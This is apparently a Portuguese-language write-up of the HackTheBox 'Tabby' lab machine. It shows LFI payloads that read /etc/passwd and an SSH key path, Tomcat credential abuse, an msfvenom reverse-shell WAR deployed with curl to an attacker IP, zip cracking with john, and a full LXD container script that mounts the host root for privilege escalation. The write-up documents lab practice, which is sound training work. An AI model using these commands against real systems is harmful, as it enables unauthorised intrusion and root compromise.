> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md). # Relato do HackTheBox Tabby {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Inclusão de Arquivo Local (LFI) * Abusando do Tomcat Virtual Host Manager * Abusando do Gerenciador Baseado em Texto do Tomcat - Implantar WAR Malicioso (Método Curl) * Exploração do LXD (Escalação de Privilégios) {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

**Descoberta de portas abertas com Nmap:** Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.194 -oG allPorts ```

**Análise de portas abertas com extractPorts:** Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência.

**Varredura de versão de portas com Nmap:** Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted": ```bash nmap -sCV -p22,80,8080 10.10.10.194 -oN targeted ```

Para resolver nomes de domínio em endereços IP via DNS, insira o nome de domínio associado ao seu endereço IP no `/etc/hosts` arquivo.

### **Porta 80:**

**Busca de diretórios:** Usamos o Gobuster para pesquisar diretórios no site: ```bash gobuster dir -u http://megahosting.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` * **Resultados:** `assets`, `files`, e `server-status`.

Buscar subdomínios: ```bash gobuster vhost -u http://megahosting.htb -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 | grep -v "400" ```

## Vulnerabilidade LFI: Acesse o arquivo vulnerável `new.php` por meio de uma `?file` variável na `instrução` pasta.

**Testando inclusão local de arquivos (LFI)**: `http://megahosting.htb/news.php?file=../../../../etc/passwd`

* **Resultado:** Acesso ao arquivo `/etc/passwd`, revelando dois usuários: `ash` e `root`. **Tentativa de acessar a chave privada SSH de Ash**: `?file=../../../../../../../home/ash/.ssh/id_rsa` * **Resultado:** Acesso negado.

**Pesquisar portas internas** por meio do `/proc/net/tcp` arquivo para identificar serviços ocultos:

**Pesquisar portas internas** por meio do `/proc/net/tcp` arquivo para identificar serviços ocultos: ```bash curl -s -X GET "http://megahosting.htb/news.php?file=../../../../../../../proc/net/tcp" | awk 'NR>1 { # Obtenha o campo local_address split($2, addr_port, ":"); # Converta o endereço para o formato IP hex_addr = addr_port[1]; ip = sprintf("%d.%d.%d.%d", strtonum("0x" substr(hex_addr, 7, 2)), strtonum("0x" substr(hex_addr, 5, 2)), strtonum("0x" substr(hex_addr, 3, 2)), strtonum("0x" substr(hex_addr, 1, 2))); # Converta a porta para decimal port = strtonum("0x" addr_port[2]); # Exiba o resultado no formato IP:Porta printf "%s:%d/n", ip, port; }' ``` **Resultado:** Descoberta da porta interna `34650`

### **Exploração do Tomcat Virtual Host Manager (Porta 8080)** **Acessando o Tomcat** pela porta 8080 e procurando informações de autenticação. Por padrão, elas são armazenadas em `/etc/tomcat9/tomcat-users.xml` ou `usr/share/tomcat9/etc/tomcat-users.xml`

**Credenciais** encontrado: `nome de usuário = tomcat` `senha = $3cureP4s5w0rd123!`

**Tentar acessar** `/manager/html` retornando erro 403.

1. **Alternativa via `/host-manager/html`**, mas sem conseguir criar uma aplicação com um `.war` arquivo. {% embed url="" %}

### **Exploração do Tomcat Baseado em Texto** **Listar aplicativos de linha de comando**: ```bash curl -u 'tomcat:$3cureP4s5w0rd123!' -s -X GET "http://megahosting.htb:8080/manager/text/list" ```

**Criando um arquivo WAR para Reverse Shell** por `msfvenom`: {% code overflow="wrap" fullWidth="false" %} ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 -f war -o reverse.war ``` {% endcode %}

**Implantação do arquivo WAR** via Curl: {% code overflow="wrap" %} ```bash curl -s -u 'tomcat:$3cureP4s5w0rd123!' "http://megahosting.htb:8080/manager/text/deploy?path=/reverse" --upload-file reverse.war ``` {% endcode %}

**Aguardando conexão da reverse shell** ```bash nc -nlvp 443 ``` **Acesso à reverse shell** via URL `http://megahosting.htb:8080/reverse`.

#### Tratamento do terminal Depois de obter acesso ao servidor Linux, aqui estão os comandos para realizar o tratamento do terminal ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` #### Estabilize a shell para um trabalho mais confortável. ## Escalada de privilégio: **Explorando a `/var/www/html`** pasta/ Ao examinar o conteúdo dessa pasta, descobrimos uma pasta `files` contendo um arquivo de backup: `16162020_backup.zip`. **Transferindo o `.zip` arquivo para a máquina local** Para facilitar a análise, transferimos o arquivo compactado para nossa máquina local iniciando um servidor HTTP com Python: ```bash python3 -m http.server 655 ```

### Força bruta no arquivo .zip: **Descompactação do arquivo `.zip` - Força bruta da senha**/ O `.zip` o arquivo está protegido por senha.

**Extração de hash com `zip2john`**: Então vamos usar o zip2john para extrair o hash ```bash zip2john 16162020_backup.zip > hash ```

**Quebra de senha com `john`**:

john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash

**Resultado**: Senha encontrada - `admin@it`.

**Descompactação e análise do conteúdo**/ Use a senha para descompactar o arquivo:

A descompactação cria uma `var` pasta contendo alguns arquivos úteis. No entanto, a `admin@it` senha também funciona para o `ash` usuário na máquina alvo. ### Flag User.txt

### Exploração do LXD: **Identifique que o usuário `ash` pertence ao `lxd` grupo**: Ao verificar os grupos aos quais o usuário `ash` pertence, percebemos que ele faz parte do `lxd` grupo, o que permite explorar o LXC para obter privilégios de root.

**Baixando e preparando o exploit**: Use `searchsploit` para obter o script de exploração da vulnerabilidade do LXC (CVE-2020-16941)

Este script permite explorar a vulnerabilidade do LXC para executar comandos com privilégios elevados. **Conteúdo do script de exploit (46978.sh)**:

#!/usr/bin/env bash

function helpPanel(){
  echo -e "/nUso:"
  echo -e "/t[-f] Nome do arquivo (.tar.gz arquivo alpine)"
  echo -e "/t[-h] Mostrar este painel de ajuda/n"
  exit 1
}

function createContainer(){
  lxc image import $filename --alias alpine && lxd init --auto
  echo -e "[*] Listando imagens.../n" && lxc image list
  lxc init alpine privesc -c security.privileged=true
  lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
  lxc start privesc
  lxc exec privesc sh
  cleanup
}

function cleanup(){
  echo -en "/n[*] Removendo contêiner..."
  lxc stop privesc && lxc delete privesc && lxc image delete alpine
  echo " [√]"
}

set -o nounset
set -o errexit

declare -i parameter_enable=0; while getopts ":f:h:" arg; do
  case $arg in
    f) filename=$OPTARG && let parameter_enable+=1;;
    h) helpPanel;;
  esac
done

if [ $parameter_enable -ne 1 ]; then
  helpPanel
else
  createContainer
fi

* O script nos permite criar um contêiner LXC com privilégios elevados, o que permite obter acesso root na máquina alvo. **Baixando o arquivo de imagem Alpine e o script:** Clone o repositório contendo os arquivos necessários para a exploração e transfira-os para sua máquina por meio de um servidor HTTP local. ```bash git clone https://github.com/saghul/lxd-alpine-builder ``` Inicie um servidor HTTP local para disponibilizar o arquivo e o script ```bash python3 -m http.server 80 ``` Na máquina alvo, baixe o script e o arquivo de imagem: ```bash cd /tmp wget http://10.10.14.7/46978.sh wget http://10.10.14.7/alpine-v3.13-x86_64-20210218_0139.tar.gz ```

**Atualização do PATH**: Ajuste o `PATH` para garantir que os comandos LXC sejam interpretados corretamente. ```bash export PATH=/home/jordan/.local/bin:/snap/bin:/usr/sandbox:/opt/nvim-linux64/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/share/games:/usr/local/sbin:/usr/sbin:/sbin:/opt/kitty/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/jordan/.fzf/bin:/usr/local/bin ``` **Executando o script de exploração** Execute o script com o arquivo de imagem Alpine baixado para explorar a vulnerabilidade e obter uma shell root: ```bash ./lxd.sh -f alpine-v3.13-x86_64-20210218_0139.tar.gz ```

Para sair do contêiner, basta ir para o `/mnt/root` diretório. ### Flag root :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.